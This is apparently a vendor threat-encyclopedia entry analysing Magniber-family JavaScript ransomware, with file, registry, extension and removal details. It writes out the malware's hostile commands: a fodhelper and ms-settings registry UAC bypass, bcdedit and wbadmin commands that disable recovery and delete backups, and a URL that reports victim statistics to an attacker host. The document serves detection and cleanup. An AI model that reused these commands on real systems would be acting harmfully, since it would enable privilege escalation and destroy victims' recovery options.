Analysis by: James Christopher Waniwan

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Ransomware

  • Destructiveness: No

  • Encrypted: No

  • In the wild: Yes

  OVERVIEW

Infection Channel: Downloaded from the Internet, Dropped by other malware

This Ransomware arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It drops files as ransom note.

  TECHNICAL DETAILS

File Size: 227,683 bytes
File Type: JS
Memory Resident: No
Initial Samples Received Date: 09 Nov 2023
Payload: Drops files, Steals information

Arrival Details

This Ransomware arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Ransomware drops the following files:

  • %Public%\{Random Characters}.rdb → Delete afterwards

(Note: %Public% is the folder that serves as a repository of files or folders common to all users, which is usually C:\Users\Public in Windows Vista, 7, and 8.)

It adds the following processes:

  • %System%\cmd.exe /c fodhelper.exe
  • wscript.exe ../../Users/Public/{Random Characters}.rdb
  • bcdedit /set {default} bootstatuspolicy ignoreallfailures
  • bcdedit /set {default} recoveryenabled no
  • wbadmin delete catalog -quiet
  • wbadmin delete systemstatebackup -quiet
  • cmd /c \"start microsoft-edge:http://{Random Characters}rfguxgmap.pirlay.fun/rfguxgmap&{string 1}&{string 2}&{string 3}&{string 4}&{string 5}
    • {string 1} - The number of drives in which the ransomware has enumerated files
    • {string 2} - The total size of all encrypted files
    • {string 3} - The number of encrypted files
    • {string 4} - The number of files enumerated
    • {string 5} - The build number of the compromised Windows OS

(Note: %System% is the Windows system folder, where it usually is C:\Windows\System32 on all Windows operating system versions.)

It adds the following mutexes to ensure that only one of its copies runs at any one time:

  • \BaseNamedObjects\mkthkzupqp

It injects codes into the following process(es):

  • It injects into each process if the following criteria is met:
    • The process is not iexplore.exe
    • It is not running in a WOW64 environment.

Other System Modifications

This Ransomware adds the following registry entries:

HKEY_CURRENT_USER\Software\Classes\
AppX04g0mbrz4mkc6e879rpf6qk6te730jfv\Shell\open\
command
(Default) = wscript.exe /B /E:VBScript.Encode ../../Users/Public/{Random Characters}.rdb

HKEY_CURRENT_USER\Software\Classes\
AppX04g0mbrz4mkc6e879rpf6qk6te730jfv\Shell\open\
command
DelegateExecute = 0

HKEY_CURRENT_USER\Software\Classes\
ms-settings\CurVer
(Default) = AppX04g0mbrz4mkc6e879rpf6qk6te730jfv

Information Theft

This Ransomware gathers the following data:

  • The number of drives in which the ransomware has enumerated files
  • The total size of all encrypted files
  • The number of encrypted files
  • The number of files enumerated
  • The build number of the compromised Windows OS

Other Details

This Ransomware encrypts files with the following extensions:

  • .abm
  • .abs
  • .abw
  • .accdb
  • .act
  • .adn
  • .adp
  • .aes
  • .aft
  • .afx
  • .agif
  • .agp
  • .ahd
  • .ai
  • .aic
  • .aim
  • .albm
  • .alf
  • .ans
  • .apd
  • .apm
  • .apng
  • .aps
  • .apt
  • .apx
  • .arc
  • .art
  • .arw
  • .asc
  • .ase
  • .asf
  • .ask
  • .asm
  • .asp
  • .asw
  • .asy
  • .aty
  • .avi
  • .awdb
  • .awp
  • .awt
  • .aww
  • .azz
  • .bad
  • .bak
  • .bay
  • .bbs
  • .bdb
  • .bdp
  • .bdr
  • .bean
  • .bib
  • .bmp
  • .bmx
  • .bna
  • .bnd
  • .boc
  • .bok
  • .brd
  • .brk
  • .brn
  • .brt
  • .bss
  • .btd
  • .bti
  • .btr
  • .c
  • .ca
  • .cals
  • .can
  • .cd
  • .cdb
  • .cdc
  • .cdg
  • .cdmm
  • .cdmt
  • .cdmz
  • .cdr
  • .cdt
  • .cf
  • .cfu
  • .cgm
  • .cimg
  • .cin
  • .cit
  • .ckp
  • .class
  • .clkw
  • .cma
  • .cmx
  • .cnm
  • .cnv
  • .colz
  • .cpc
  • .cpd
  • .cpg
  • .cpp
  • .cps
  • .cpx
  • .crd
  • .crt
  • .crw
  • .cs
  • .csr
  • .csv
  • .csy
  • .ct
  • .cvg
  • .cvi
  • .cvs
  • .cvx
  • .cwt
  • .cxf
  • .cyi
  • .dad
  • .daf
  • .db
  • .dbc
  • .dbf
  • .dbk
  • .dbs
  • .dbt
  • .dbv
  • .dbx
  • .dca
  • .dcb
  • .dch
  • .dcr
  • .dcs
  • .dct
  • .dcx
  • .dd
  • .dds
  • .ded
  • .der
  • .dgn
  • .dgs
  • .dgt
  • .dhs
  • .dib
  • .dif
  • .dip
  • .diz
  • .djv
  • .djvu
  • .dmi
  • .dmo
  • .dnc
  • .dne
  • .doc
  • .docb
  • .docm
  • .docx
  • .docz
  • .dot
  • .dotm
  • .dotx
  • .dpp
  • .dpx
  • .dqy
  • .drw
  • .drz
  • .dsk
  • .dsn
  • .dsv
  • .dt
  • .dta
  • .dtsx
  • .dtw
  • .dv
  • .dvi
  • .dwg
  • .dx
  • .dxb
  • .dxf
  • .eco
  • .ecw
  • .ecx
  • .edb
  • .efd
  • .egc
  • .eio
  • .eip
  • .eit
  • .em
  • .emd
  • .emf
  • .emlx
  • .ep
  • .epf
  • .epp
  • .eps
  • .epsf
  • .eq
  • .erf
  • .err
  • .etf
  • .etx
  • .euc
  • .exr
  • .fa
  • .faq
  • .fax
  • .fb
  • .fbx
  • .fcd
  • .fcf
  • .fdf
  • .fdr
  • .fds
  • .fdt
  • .fdx
  • .fdxt
  • .fes
  • .fft
  • .fi
  • .fic
  • .fid
  • .fif
  • .fig
  • .fla
  • .flr
  • .flv
  • .fmv
  • .fo
  • .fodt
  • .fpos
  • .fpt
  • .fpx
  • .frm
  • .frt
  • .frx
  • .ftn
  • .fwdn
  • .fxc
  • .fxg
  • .fzb
  • .fzv
  • .gcdp
  • .gdb
  • .gdoc
  • .gem
  • .geo
  • .gfb
  • .gfie
  • .ggr
  • .gif
  • .gih
  • .gim
  • .gio
  • .glox
  • .gpd
  • .gpg
  • .gpn
  • .gro
  • .grob
  • .grs
  • .gsd
  • .gthr
  • .gtp
  • .gv
  • .gwi
  • .gz
  • .h
  • .hbk
  • .hdb
  • .hdp
  • .hdr
  • .hht
  • .his
  • .hp
  • .hpg
  • .hpi
  • .hs
  • .htc
  • .hwp
  • .hz
  • .ib
  • .ibd
  • .icn
  • .icon
  • .icpr
  • .idc
  • .idea
  • .idx
  • .igt
  • .igx
  • .ihx
  • .ii
  • .iiq
  • .imd
  • .info
  • .ink
  • .ipf
  • .ipx
  • .iso
  • .itdb
  • .itw
  • .iwi
  • .j
  • .jar
  • .jas
  • .java
  • .jbig
  • .jbmp
  • .jbr
  • .jfif
  • .jia
  • .jis
  • .jng
  • .joe
  • .jpe
  • .jpeg
  • .jpg
  • .jps
  • .jpx
  • .jrtf
  • .js
  • .jsp
  • .jtf
  • .jtx
  • .jw
  • .jxr
  • .kdb
  • .kdbx
  • .kdc
  • .kdi
  • .kdk
  • .kes
  • .key
  • .kic
  • .klg
  • .knt
  • .kon
  • .kpg
  • .kwd
  • .lay
  • .lbm
  • .lbt
  • .ldf
  • .lgc
  • .lis
  • .lit
  • .ljp
  • .lmk
  • .lnt
  • .lrc
  • .lst
  • .ltr
  • .ltx
  • .lue
  • .luf
  • .lwo
  • .lwp
  • .lws
  • .lyt
  • .lyx
  • .ma
  • .mac
  • .man
  • .map
  • .maq
  • .mat
  • .max
  • .mb
  • .mbm
  • .mbox
  • .mdb
  • .mdf
  • .mdn
  • .mdt
  • .me
  • .mef
  • .mel
  • .mft
  • .mgcb
  • .mgmf
  • .mgmt
  • .mgmx
  • .mgtx
  • .mid
  • .min
  • .mkv
  • .mm
  • .mmat
  • .mnr
  • .mnt
  • .mos
  • .mov
  • .mpeg
  • .mpf
  • .mpg
  • .mpo
  • .mrg
  • .mrxs
  • .msg
  • .mud
  • .mwb
  • .mwp
  • .mx
  • .my
  • .myd
  • .myi
  • .ncr
  • .nct
  • .ndf
  • .nef
  • .nfo
  • .njx
  • .nlm
  • .now
  • .nrw
  • .nsf
  • .nyf
  • .nzb
  • .obj
  • .oce
  • .oci
  • .ocr
  • .odb
  • .odg
  • .odm
  • .odo
  • .odp
  • .ods
  • .odt
  • .of
  • .oft
  • .omf
  • .oplc
  • .oqy
  • .ora
  • .orf
  • .ort
  • .orx
  • .ost
  • .ota
  • .otg
  • .oti
  • .otp
  • .ots
  • .ott
  • .ovp
  • .ovr
  • .owc
  • .owg
  • .oyx
  • .ozb
  • .ozj
  • .ozt
  • .p
  • .pa
  • .pan
  • .pano
  • .pap
  • .paq
  • .pas
  • .pbm
  • .pcd
  • .pcs
  • .pdb
  • .pdd
  • .pdf
  • .pdm
  • .pds
  • .pdt
  • .pef
  • .pem
  • .pff
  • .pfi
  • .pfs
  • .pfv
  • .pfx
  • .pgf
  • .pgm
  • .phm
  • .php
  • .pic
  • .pict
  • .pix
  • .pjpg
  • .pjt
  • .plt
  • .pm
  • .pmg
  • .png
  • .pni
  • .pnm
  • .pntg
  • .pnz
  • .pobj
  • .pop
  • .pot
  • .potm
  • .potx
  • .ppam
  • .ppm
  • .pps
  • .ppsm
  • .ppsx
  • .ppt
  • .pptm
  • .pptx
  • .prt
  • .prw
  • .psd
  • .psdx
  • .pse
  • .psid
  • .psp
  • .pst
  • .psw
  • .ptg
  • .pth
  • .ptx
  • .pu
  • .pvj
  • .pvm
  • .pvr
  • .pwa
  • .pwi
  • .pwr
  • .px
  • .pxr
  • .pza
  • .pzp
  • .pzs
  • .qd
  • .qmg
  • .qpx
  • .qry
  • .qvd
  • .rad
  • .rar
  • .ras
  • .raw
  • .rb
  • .rctd
  • .rcu
  • .rd
  • .rdb
  • .rft
  • .rgb
  • .rgf
  • .rib
  • .ric
  • .riff
  • .ris
  • .rix
  • .rle
  • .rli
  • .rng
  • .rpd
  • .rpf
  • .rpt
  • .rri
  • .rs
  • .rsb
  • .rsd
  • .rsr
  • .rst
  • .rt
  • .rtd
  • .rtf
  • .rtx
  • .run
  • .rw
  • .rzk
  • .rzn
  • .saf
  • .sam
  • .sbf
  • .scad
  • .scc
  • .sch
  • .sci
  • .scm
  • .sct
  • .scv
  • .scw
  • .sdb
  • .sdf
  • .sdm
  • .sdoc
  • .sdw
  • .sep
  • .sfc
  • .sfw
  • .sgm
  • .sh
  • .sig
  • .skm
  • .sla
  • .sld
  • .sldm
  • .sldx
  • .slk
  • .sln
  • .sls
  • .smf
  • .sms
  • .snt
  • .sob
  • .spa
  • .spe
  • .sph
  • .spj
  • .spp
  • .spq
  • .spr
  • .sq
  • .sqb
  • .srw
  • .ssa
  • .ssk
  • .st
  • .stc
  • .std
  • .sti
  • .stm
  • .stn
  • .stp
  • .str
  • .stw
  • .sty
  • .sub
  • .suo
  • .svf
  • .svg
  • .svgz
  • .swf
  • .sxc
  • .sxd
  • .sxg
  • .sxi
  • .sxm
  • .sxw
  • .tab
  • .tar
  • .tbk
  • .tcx
  • .tdf
  • .tdt
  • .te
  • .tex
  • .text
  • .tgz
  • .thp
  • .tif
  • .tiff
  • .tlb
  • .tlc
  • .tm
  • .tmd
  • .tmv
  • .tmx
  • .tne
  • .tpc
  • .trm
  • .tvj
  • .udb
  • .ufr
  • .unx
  • .uof
  • .uop
  • .uot
  • .upd
  • .usr
  • .utxt
  • .vb
  • .vbr
  • .vbs
  • .vcd
  • .vct
  • .vdb
  • .vdi
  • .vec
  • .vm
  • .vmdk
  • .vmx
  • .vnt
  • .vob
  • .vpd
  • .vrm
  • .vrp
  • .vsd
  • .vsdm
  • .vsdx
  • .vsm
  • .vstm
  • .vstx
  • .vue
  • .vw
  • .wav
  • .wbk
  • .wcf
  • .wdb
  • .wgz
  • .wire
  • .wks
  • .wma
  • .wmdb
  • .wmv
  • .wn
  • .wp
  • .wpa
  • .wpd
  • .wpg
  • .wps
  • .wpt
  • .wpw
  • .wri
  • .wsc
  • .wsd
  • .wsh
  • .wtx
  • .x
  • .xar
  • .xd
  • .xdb
  • .xlc
  • .xld
  • .xlf
  • .xlgc
  • .xlm
  • .xls
  • .xlsb
  • .xlsm
  • .xlsx
  • .xlt
  • .xltm
  • .xltx
  • .xlw
  • .xps
  • .xwp
  • .xyp
  • .xyw
  • .ya
  • .ybk
  • .ym
  • .zabw
  • .zdb
  • .zdc
  • .zip
  • .zw

It does the following:

  • Open payment page site through Microsoft Edge browser:
    • http://{Random Characters}rfguxgmap.{BLOCKED}.fun/rfguxgmap&{string 1}&{string 2}&{string 3}&{string 4}&{string 5}

Ransomware Routine

This Ransomware avoids encrypting files found in the following folders:

  • documents and settings
  • appdata
  • local settings
  • sample music
  • sample pictures
  • sample videos
  • tor browser
  • recycle
  • windows
  • boot
  • intel
  • msocache
  • perflogs
  • program files
  • program data
  • recovery
  • system volume information
  • winnt

It appends the following extension to the file name of the encrypted files:

  • {Original filename}.{Original extension}.rfguxgmap

It drops the following file(s) as ransom note:

  • {Malware execution path}\README.html
  • {Encrypted directory}\README.html
  • %Desktop%\README.html

  SOLUTION

Minimum Scan Engine: 9.800
FIRST VSAPI PATTERN FILE: 18.184.08
FIRST VSAPI PATTERN DATE: 09 Jan 2023
VSAPI OPR PATTERN File: 18.185.00
VSAPI OPR PATTERN Date: 10 Jan 2023

Step 1

Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.

Step 2

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 3

Delete this registry value

[ Learn More ]

Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.

  • In HKEY_CURRENT_USER\Software\Classes\AppX04g0mbrz4mkc6e879rpf6qk6te730jfv\Shell\open\command
    • (Default) = wscript.exe /B /E:VBScript.Encode ../../Users/Public/{Random Characters}.rdb
  • In HKEY_CURRENT_USER\Software\Classes\AppX04g0mbrz4mkc6e879rpf6qk6te730jfv\Shell\open\command
    • DelegateExecute = 0
  • In HKEY_CURRENT_USER\Software\Classes\ms-settings\CurVer
    • (Default) = AppX04g0mbrz4mkc6e879rpf6qk6te730jfv

Step 4

Search and delete this file

[ Learn More ]
There may be some files that are hidden. Please make sure you check the Search Hidden Files and Folders checkbox in the "More advanced options" option to include all hidden files and folders in the search result.
  • %Public%\{Random Characters}.rdb
  • {Malware execution path}\README.html
  • {Encrypted directory}\README.html
  • %Desktop%\README.html

Step 5

Scan your computer with your Trend Micro product to delete files detected as Ransom.JS.MAGNIBER.SMYPCIUT. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:

Step 6

Restore encrypted files from backup.


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